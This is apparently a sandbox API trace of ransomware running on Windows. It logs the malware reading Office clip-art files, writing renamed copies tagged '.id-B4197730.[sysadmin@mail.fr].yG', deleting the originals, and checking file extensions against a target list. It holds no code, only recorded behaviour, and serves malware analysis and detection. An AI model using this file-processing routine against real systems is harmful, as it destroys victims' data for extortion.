	[0150.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0150.303] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.303] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0150.304] GetLastError () returned 0x0
	[0150.304] ReadFile (in: hFile=0x388, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x1c0a, lpOverlapped=0x0) returned 1
	[0150.323] WriteFile (in: hFile=0x51c, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x1c10, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x1c10, lpOverlapped=0x0) returned 1
	[0150.324] ReadFile (in: hFile=0x388, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0150.324] WriteFile (in: hFile=0x51c, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0150.324] SetEndOfFile (hFile=0x51c) returned 1
	[0150.324] CloseHandle (hObject=0x51c) returned 1
	[0150.324] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.325] SetEndOfFile (hFile=0x388) returned 1
	[0150.328] CloseHandle (hObject=0x388) returned 1
	[0150.328] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0150.329] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\htech_01.mid")) returned 1
	[0150.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68
	[0150.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68
	[0150.329] lstrlenW (lpString=".doc") returned 4
	[0150.329] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0150.329] lstrlenW (lpString=".docx") returned 5
	[0150.330] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0150.330] lstrlenW (lpString=".pdf") returned 4
	[0150.330] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0150.330] lstrlenW (lpString=".xls") returned 4
	[0150.330] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0150.330] lstrlenW (lpString=".xlsx") returned 5
	[0150.330] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0150.330] lstrlenW (lpString=".ppt") returned 4
	[0150.330] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0150.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68
	[0150.330] lstrlenW (lpString=".zip") returned 4
	[0150.330] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0150.330] lstrlenW (lpString=".rar") returned 4
	[0150.330] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0150.330] lstrlenW (lpString=".bz2") returned 4
	[0150.330] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0150.330] lstrlenW (lpString=".7z") returned 3
	[0150.330] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0150.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68
	[0150.330] lstrlenW (lpString=".dbf") returned 4
	[0150.330] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0150.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68
	[0150.330] lstrlenW (lpString=".1cd") returned 4
	[0150.330] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0150.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68
	[0150.330] lstrlenW (lpString=".jpg") returned 4
	[0150.330] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0150.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68
	[0150.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68
	[0150.331] lstrlenW (lpString=".doc") returned 4
	[0150.331] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0150.331] lstrlenW (lpString=".docx") returned 5
	[0150.331] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0150.331] lstrlenW (lpString=".pdf") returned 4
	[0150.331] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0150.331] lstrlenW (lpString=".xls") returned 4
	[0150.331] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0150.331] lstrlenW (lpString=".xlsx") returned 5
	[0150.331] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0150.331] lstrlenW (lpString=".ppt") returned 4
	[0150.331] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0150.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68
	[0150.331] lstrlenW (lpString=".zip") returned 4
	[0150.331] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0150.331] lstrlenW (lpString=".rar") returned 4
	[0150.331] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0150.331] lstrlenW (lpString=".bz2") returned 4
	[0150.331] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0150.331] lstrlenW (lpString=".7z") returned 3
	[0150.331] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0150.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68
	[0150.334] lstrlenW (lpString=".dbf") returned 4
	[0150.334] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0150.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68
	[0150.414] lstrlenW (lpString=".1cd") returned 4
	[0150.414] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0150.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HTECH_01.MID") returned 68
	[0150.414] lstrlenW (lpString=".jpg") returned 4
	[0150.414] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0150.414] lstrcmpiW (lpString1=".MID", lpString2=".yG") returned -1
	[0150.414] lstrlenW (lpString="JAVA_01.MID") returned 11
	[0150.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0150.718] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=9797) returned 1
	[0150.718] CloseHandle (hObject=0x550) returned 1
	[0150.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid")) returned 0x220
	[0150.718] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0150.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0150.719] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.719] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0150.720] GetLastError () returned 0x0
	[0150.720] ReadFile (in: hFile=0x550, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x2645, lpOverlapped=0x0) returned 1
	[0150.742] WriteFile (in: hFile=0x388, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x2650, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x2650, lpOverlapped=0x0) returned 1
	[0150.743] ReadFile (in: hFile=0x550, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0150.743] WriteFile (in: hFile=0x388, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0xea, lpOverlapped=0x0) returned 1
	[0150.743] SetEndOfFile (hFile=0x388) returned 1
	[0150.743] CloseHandle (hObject=0x388) returned 1
	[0150.743] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.743] SetEndOfFile (hFile=0x550) returned 1
	[0150.747] CloseHandle (hObject=0x550) returned 1
	[0150.747] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0150.748] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid")) returned 1
	[0150.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67
	[0150.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67
	[0150.749] lstrlenW (lpString=".doc") returned 4
	[0150.749] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0150.749] lstrlenW (lpString=".docx") returned 5
	[0150.749] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0150.749] lstrlenW (lpString=".pdf") returned 4
	[0150.749] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0150.749] lstrlenW (lpString=".xls") returned 4
	[0150.749] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0150.749] lstrlenW (lpString=".xlsx") returned 5
	[0150.749] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0150.749] lstrlenW (lpString=".ppt") returned 4
	[0150.749] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0150.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67
	[0150.749] lstrlenW (lpString=".zip") returned 4
	[0150.749] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0150.749] lstrlenW (lpString=".rar") returned 4
	[0150.749] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0150.749] lstrlenW (lpString=".bz2") returned 4
	[0150.749] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0150.749] lstrlenW (lpString=".7z") returned 3
	[0150.749] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0150.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67
	[0150.749] lstrlenW (lpString=".dbf") returned 4
	[0150.749] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0150.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67
	[0150.750] lstrlenW (lpString=".1cd") returned 4
	[0150.750] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0150.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67
	[0150.750] lstrlenW (lpString=".jpg") returned 4
	[0150.750] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0150.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67
	[0150.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67
	[0150.750] lstrlenW (lpString=".doc") returned 4
	[0150.750] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0150.750] lstrlenW (lpString=".docx") returned 5
	[0150.750] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0150.750] lstrlenW (lpString=".pdf") returned 4
	[0150.750] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0150.750] lstrlenW (lpString=".xls") returned 4
	[0150.750] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0150.750] lstrlenW (lpString=".xlsx") returned 5
	[0150.750] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0150.750] lstrlenW (lpString=".ppt") returned 4
	[0150.750] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0150.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67
	[0150.750] lstrlenW (lpString=".zip") returned 4
	[0150.750] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0150.750] lstrlenW (lpString=".rar") returned 4
	[0150.750] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0150.750] lstrlenW (lpString=".bz2") returned 4
	[0150.751] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0150.751] lstrlenW (lpString=".7z") returned 3
	[0150.751] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0150.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67
	[0150.751] lstrlenW (lpString=".dbf") returned 4
	[0150.751] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0150.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67
	[0150.751] lstrlenW (lpString=".1cd") returned 4
	[0150.751] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0150.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67
	[0150.751] lstrlenW (lpString=".jpg") returned 4
	[0150.751] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0150.751] lstrcmpiW (lpString1=".MID", lpString2=".yG") returned -1
	[0150.751] lstrlenW (lpString="OCEAN_01.MID") returned 12
	[0150.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0150.752] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=5440) returned 1
	[0150.752] CloseHandle (hObject=0x550) returned 1
	[0150.752] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid")) returned 0x220
	[0150.752] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0150.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0150.753] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.753] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0150.754] GetLastError () returned 0x0
	[0150.754] ReadFile (in: hFile=0x550, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x1540, lpOverlapped=0x0) returned 1
	[0150.770] WriteFile (in: hFile=0x388, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0x1550, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0x1550, lpOverlapped=0x0) returned 1
	[0150.772] ReadFile (in: hFile=0x550, lpBuffer=0x43f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesRead=0x3f3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0150.772] WriteFile (in: hFile=0x388, lpBuffer=0x43f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x43f0020*, lpNumberOfBytesWritten=0x3f3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0150.772] SetEndOfFile (hFile=0x388) returned 1
	[0150.773] CloseHandle (hObject=0x388) returned 1
	[0150.773] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.773] SetEndOfFile (hFile=0x550) returned 1
	[0150.776] CloseHandle (hObject=0x550) returned 1
	[0150.776] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0150.777] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid")) returned 1
	[0150.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68
	[0150.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68
	[0150.778] lstrlenW (lpString=".doc") returned 4
	[0150.778] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0150.778] lstrlenW (lpString=".docx") returned 5
	[0150.778] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0150.778] lstrlenW (lpString=".pdf") returned 4
	[0150.778] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0150.778] lstrlenW (lpString=".xls") returned 4
	[0150.778] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0150.778] lstrlenW (lpString=".xlsx") returned 5
	[0150.778] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0150.778] lstrlenW (lpString=".ppt") returned 4
	[0150.778] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0150.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68
	[0150.778] lstrlenW (lpString=".zip") returned 4
	[0150.778] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0150.778] lstrlenW (lpString=".rar") returned 4
	[0150.778] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0150.778] lstrlenW (lpString=".bz2") returned 4
	[0150.778] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0150.778] lstrlenW (lpString=".7z") returned 3
	[0150.779] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0150.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68
	[0150.779] lstrlenW (lpString=".dbf") returned 4
	[0150.779] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0150.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68
	[0150.779] lstrlenW (lpString=".1cd") returned 4
	[0150.779] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0150.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68
	[0150.779] lstrlenW (lpString=".jpg") returned 4
	[0150.779] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0150.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68
	[0150.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68
	[0150.779] lstrlenW (lpString=".doc") returned 4
	[0150.779] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0150.779] lstrlenW (lpString=".docx") returned 5
	[0150.779] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0150.779] lstrlenW (lpString=".pdf") returned 4
	[0150.779] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0150.779] lstrlenW (lpString=".xls") returned 4
	[0150.779] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0150.779] lstrlenW (lpString=".xlsx") returned 5
	[0150.779] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0150.779] lstrlenW (lpString=".ppt") returned 4
	[0150.779] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0150.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68
	[0150.780] lstrlenW (lpString=".zip") returned 4
	[0150.780] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0150.780] lstrlenW (lpString=".rar") returned 4
	[0150.780] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0150.780] lstrlenW (lpString=".bz2") returned 4
	[0150.780] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0150.780] lstrlenW (lpString=".7z") returned 3
	[0150.780] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0150.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68
	[0150.780] lstrlenW (lpString=".dbf") returned 4
	[0150.780] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0150.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68
	[0150.780] lstrlenW (lpString=".1cd") returned 4
	[0150.780] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0150.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68
	[0150.780] lstrlenW (lpString=".jpg") returned 4
	[0150.780] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0150.780] lstrcmpiW (lpString1=".MID", lpString2=".yG") returned -1
	[0150.780] lstrlenW (lpString="PAPER_01.MID") returned 12
	[0150.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0150.782] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x3f3ff14 | out: lpFileSize=0x3f3ff14*=6763) returned 1
	[0150.782] CloseHandle (hObject=0x550) returned 1
	[0150.782] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid")) returned 0x220
	[0150.782] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
